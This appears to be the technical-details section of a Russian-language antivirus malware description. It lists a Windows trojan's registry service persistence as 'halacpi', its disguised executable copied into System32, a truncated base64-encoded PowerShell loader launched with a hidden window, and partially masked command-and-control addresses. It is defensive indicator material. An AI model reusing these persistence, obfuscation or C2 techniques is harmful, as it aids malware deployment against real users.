Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\halacpi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\halacpi] 'ImagePath' = '"<SYSTEM32>\ipsmsnap\halacpi.exe"'
- 'halacpi' "<SYSTEM32>\ipsmsnap\halacpi.exe"
- 'halacpi' <SYSTEM32>\ipsmsnap\halacpi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAE...
- %HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe
- <SYSTEM32>\ipsmsnap\halacpi.exe
- %HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe в <SYSTEM32>\ipsmsnap\halacpi.exe
- '18#.#15.227.107':443
- http://ra###submit.com/search_test/s/
- http://18#.##5.227.107:443/44bJVp/7d9E/gPeCZU3jXT2d/ via 18#.#15.227.107
- DNS ASK ra###submit.com
- '%HOMEPATH%\ctn66fz\mp9t847\k1r4jlz.exe'
- '<SYSTEM32>\ipsmsnap\halacpi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABQAGMAagBuAHcAZwBwAD0AKAAoACcARAAnACsAJwBiAG8AJwApACsAJwAwACcAKwAoACcAcwAnACsAJwB1AGMAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAFIAcAByAG8ARgBJAE...' (со скрытым окном)